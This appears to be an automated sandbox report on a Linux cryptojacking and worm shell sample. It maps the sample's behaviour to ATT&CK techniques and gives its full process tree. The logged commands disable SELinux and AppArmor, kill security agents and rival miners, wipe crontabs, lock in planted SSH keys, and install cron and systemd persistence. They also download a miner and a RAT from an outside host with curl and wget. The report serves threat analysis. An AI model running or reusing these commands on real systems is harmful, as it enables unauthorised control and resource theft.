41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

persistence privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/cron.d/hermes_sync	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Creates/modifies environment variables 1 TTPs 4 IoCs

Creating/modifying environment variables is a common persistence mechanism.

Path Interception by PATH Environment Variable

persistence privilege_escalation

description	ioc	Process
File opened for modification	/root/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/root/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Disables SELinux 1 TTPs 1 IoCs

Disables SELinux security module.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
659	setenforce

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/hermes-core.service	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Modifies Bash startup script 2 TTPs 4 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/root/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Discovers running processes 1 TTPs 23 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
902	ps
911	ps
932	ps
697	ps
714	ps
751	ps
875	ps
920	ps
941	ps
692	ps
724	ps
860	ps
865	ps
885	ps
950	ps
733	ps
880	ps
890	ps
706	ps
742	ps
855	ps
870	ps
897	ps

Reads CPU attributes 1 TTPs 26 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 19 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/326/cmdline	ps
File opened for reading	/proc/317/status	ps
File opened for reading	/proc/631/stat	ps
File opened for reading	/proc/631/cmdline	ps
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/224/stat	ps
File opened for reading	/proc/707/status	ps
File opened for reading	/proc/634/cmdline	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/326/status	ps
File opened for reading	/proc/632/status	ps
File opened for reading	/proc/26/stat	ps
File opened for reading	/proc/584/cmdline	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/584/cmdline	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/641/cmdline	ps
File opened for reading	/proc/158/cmdline	ps
File opened for reading	/proc/632/status	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/22/stat	ps
File opened for reading	/proc/104/status	ps
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/871/stat	ps
File opened for reading	/proc/133/cmdline	ps
File opened for reading	/proc/700/cmdline	ps
File opened for reading	/proc/224/status	ps
File opened for reading	/proc/632/cmdline	ps
File opened for reading	/proc/27/status	ps
File opened for reading	/proc/295/status	ps
File opened for reading	/proc/584/status	ps
File opened for reading	/proc/642/cmdline	pgrep
File opened for reading	/proc/29/cmdline	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/584/status	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/41/cmdline	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/158/stat	ps
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/295/stat	ps
File opened for reading	/proc/277/status	pgrep
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/862/cmdline	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/945/status	ps
File opened for reading	/proc/133/status	ps
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/645/cmdline	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/42/stat	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/43/cmdline	ps
File opened for reading	/proc/578/stat	ps
File opened for reading	/proc/726/stat	ps
File opened for reading	/proc/74/stat	ps
File opened for reading	/proc/self/maps	awk

System Network Configuration Discovery 1 TTPs 12 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1019	curl
1029	curl
1032	wget
1013	wget
1015	curl
1021	wget
1034	curl
1036	wget
1038	curl
1040	wget
1011	curl
1017	wget

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hermes_rat	wget
File opened for modification	/tmp/hermes_rat	wget
File opened for modification	/tmp/sh-thd.EXwx9Y	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/sh-thd.YSCXH1	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_rat	wget
File opened for modification	/tmp/sh-thd.kSjDTR	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/hermes_miner	wget

/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
1⤵
- Adds new SSH keys
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies systemd
- Modifies Bash startup script
- Writes file to tmp directory
PID:642
- /bin/cat
  cat
  2⤵
  PID:648
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:659
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:663
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:666
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:667
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Enumerates kernel/hardware configuration
    PID:669
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:674
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Enumerates kernel/hardware configuration
    PID:673
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:679
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:680
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:681
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:682
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:683
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:684
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:685
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:686
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:687
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:688
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:689
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:690
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:663
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:663
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:663
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:663
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:663
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:663
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:691
- /bin/grep
  grep -v grep
  2⤵
  PID:693
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:695
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:692
- /bin/grep
  grep aegis
  2⤵
  PID:694
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:696
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:697
- /bin/grep
  grep -v grep
  2⤵
  PID:698
- /bin/grep
  grep aliyun
  2⤵
  PID:699
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:700
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:701
- /bin/grep
  grep -v grep
  2⤵
  PID:707
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:709
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:706
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:710
- /bin/grep
  grep Yun
  2⤵
  PID:708
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:714
- /bin/grep
  grep hids
  2⤵
  PID:716
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:718
- /bin/grep
  grep -v grep
  2⤵
  PID:715
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:719
- /bin/grep
  grep -v grep
  2⤵
  PID:725
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:724
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:727
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:728
- /bin/grep
  grep cloudwalker
  2⤵
  PID:726
- /bin/grep
  grep -v grep
  2⤵
  PID:734
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:733
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:736
- /bin/grep
  grep titanagent
  2⤵
  PID:735
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:737
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:742
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:745
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:746
- /bin/grep
  grep edr
  2⤵
  PID:744
- /bin/grep
  grep -v grep
  2⤵
  PID:743
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:751
- /bin/grep
  grep -v grep
  2⤵
  PID:752
- /bin/grep
  grep sgagent
  2⤵
  PID:753
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:754
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:755
- /bin/grep
  grep :23
  2⤵
  PID:761
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:762
- /bin/grep
  grep -v -
  2⤵
  PID:764
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:763
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:765
- /bin/grep
  grep :143
  2⤵
  PID:771
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:772
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:773
- /bin/grep
  grep -v -
  2⤵
  PID:774
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:775
- /bin/grep
  grep :2222
  2⤵
  PID:778
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  - Reads runtime system information
  PID:779
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:780
- /bin/grep
  grep -v -
  2⤵
  PID:781
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:783
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:790
- /bin/grep
  grep :3333
  2⤵
  PID:788
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  - Reads runtime system information
  PID:791
- /bin/grep
  grep -v -
  2⤵
  PID:792
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:793
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:797
- /bin/grep
  grep :3389
  2⤵
  PID:796
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:798
- /bin/grep
  grep -v -
  2⤵
  PID:799
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:800
- /bin/grep
  grep :5555
  2⤵
  PID:803
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:805
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:804
- /bin/grep
  grep -v -
  2⤵
  PID:806
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:807
- /bin/grep
  grep :6666
  2⤵
  PID:812
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:813
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:814
- /bin/grep
  grep -v -
  2⤵
  PID:815
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:816
- /bin/grep
  grep :6665
  2⤵
  PID:819
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:820
- /bin/grep
  grep -v -
  2⤵
  PID:822
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:821
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:823
- /bin/grep
  grep :6667
  2⤵
  PID:825
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:826
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:827
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:829
- /bin/grep
  grep -v -
  2⤵
  PID:828
- /bin/grep
  grep :7777
  2⤵
  PID:831
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:832
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:833
- /bin/grep
  grep -v -
  2⤵
  PID:834
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:835
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:839
- /bin/grep
  grep :8444
  2⤵
  PID:838
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:840
- /bin/grep
  grep -v -
  2⤵
  PID:841
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:842
- /bin/grep
  grep :3347
  2⤵
  PID:844
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:845
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:846
- /bin/grep
  grep -v -
  2⤵
  PID:847
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:848
- /bin/grep
  grep :10008
  2⤵
  PID:850
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:852
- /bin/grep
  grep -v -
  2⤵
  PID:853
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:851
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:854
- /bin/grep
  grep -v grep
  2⤵
  PID:856
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:855
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:858
- /bin/grep
  grep kdevtmpfsi
  2⤵
  PID:857
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:859
- /bin/grep
  grep -v grep
  2⤵
  PID:861
- /bin/grep
  grep kinsing
  2⤵
  PID:862
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:863
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:860
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:864
- /bin/grep
  grep -v grep
  2⤵
  PID:866
- /bin/grep
  grep watchdogs
  2⤵
  PID:867
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:865
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:868
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:869
- /bin/grep
  grep -v grep
  2⤵
  PID:871
- /bin/grep
  grep kthrotlds
  2⤵
  PID:872
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:870
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:873
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:874
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:875
- /bin/grep
  grep -v grep
  2⤵
  PID:876
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:877
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:878
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:879
- /bin/grep
  grep -v grep
  2⤵
  PID:881
- /bin/grep
  grep xmrig
  2⤵
  PID:882
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:883
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:880
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:884
- /bin/grep
  grep -v grep
  2⤵
  PID:886
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:885
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:888
- /bin/grep
  grep xmr-stak
  2⤵
  PID:887
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:889
- /bin/grep
  grep -v grep
  2⤵
  PID:891
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:890
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:893
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:894
- /bin/grep
  grep minerd
  2⤵
  PID:892
- /bin/grep
  grep -v grep
  2⤵
  PID:898
- /bin/grep
  grep cryptonight
  2⤵
  PID:899
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:900
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:897
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:901
- /bin/grep
  grep -v grep
  2⤵
  PID:903
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:902
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:905
- /bin/grep
  grep watchbog
  2⤵
  PID:904
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:906
- /bin/grep
  grep -v grep
  2⤵
  PID:912
- /bin/grep
  grep ddg
  2⤵
  PID:913
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:914
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:911
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:915
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:920
- /bin/grep
  grep kworker
  2⤵
  PID:922
- /bin/grep
  grep -v grep
  2⤵
  PID:921
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:923
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:924
- - /usr/local/sbin/kill
    kill -9 4 5 6 20 96 104 133 134 138
    3⤵
    PID:929
- - /usr/local/bin/kill
    kill -9 4 5 6 20 96 104 133 134 138
    3⤵
    PID:929
- - /usr/sbin/kill
    kill -9 4 5 6 20 96 104 133 134 138
    3⤵
    PID:929
- - /usr/bin/kill
    kill -9 4 5 6 20 96 104 133 134 138
    3⤵
    PID:929
- - /sbin/kill
    kill -9 4 5 6 20 96 104 133 134 138
    3⤵
    PID:929
- - /bin/kill
    kill -9 4 5 6 20 96 104 133 134 138
    3⤵
    - Reads CPU attributes
    PID:929
- /bin/grep
  grep -v grep
  2⤵
  PID:933
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:932
- /bin/grep
  grep sustse
  2⤵
  PID:934
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:935
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:936
- /bin/grep
  grep -v grep
  2⤵
  PID:942
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:941
- /bin/grep
  grep sustse3
  2⤵
  PID:943
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:944
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:945
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:950
- /bin/grep
  grep -v grep
  2⤵
  PID:951
- /bin/grep
  grep systemctI
  2⤵
  PID:952
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:953
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:954
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:959
- /bin/rm
  rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs "/etc/cron.d/*" /var/spool/cron/crontabs /etc/crontab
  2⤵
  PID:962
- /bin/mkdir
  mkdir -p /root/.ssh
  2⤵
  PID:963
- /bin/chmod
  chmod 700 /root/.ssh
  2⤵
  PID:965
- /bin/grep
  grep -q hermes_worm /root/.ssh/authorized_keys
  2⤵
  PID:967
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:968
- /usr/bin/chattr
  chattr +i /root/.ssh/authorized_keys
  2⤵
  PID:969
- /bin/grep
  grep -q analytics.js /root/.bashrc
  2⤵
  PID:970
- /bin/grep
  grep -q analytics.js /root/.profile
  2⤵
  PID:971
- /bin/grep
  grep -q analytics.js /home/user/.bashrc
  2⤵
  PID:972
- /bin/grep
  grep -q analytics.js /home/user/.profile
  2⤵
  PID:973
- /bin/cat
  cat
  2⤵
  PID:974
- /bin/chmod
  chmod 644 /etc/cron.d/hermes_sync
  2⤵
  PID:975
- /bin/cat
  cat
  2⤵
  PID:976
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:977
- /bin/systemctl
  systemctl enable hermes-core.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:990
- /bin/systemctl
  systemctl start hermes-core.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:1003
- /bin/uname
  uname -m
  2⤵
  PID:1007
- /usr/bin/pgrep
  pgrep -f hermes_miner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1009
- /usr/bin/seq
  seq 1 3
  2⤵
  PID:1010
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_arm -o /tmp/hermes_miner
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:1011
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_arm -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1013
- /bin/sleep
  sleep 2
  2⤵
  PID:1014
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_arm -o /tmp/hermes_miner
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:1015
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_arm -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1017
- /bin/sleep
  sleep 2
  2⤵
  PID:1018
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_arm -o /tmp/hermes_miner
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:1019
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_arm -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1021
- /bin/sleep
  sleep 2
  2⤵
  PID:1022
- /bin/uname
  uname -m
  2⤵
  PID:1025
- /usr/bin/pgrep
  pgrep -f hermes_rat
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1026
- /usr/bin/seq
  seq 1 3
  2⤵
  PID:1028
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.arm -o /tmp/hermes_rat
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:1029
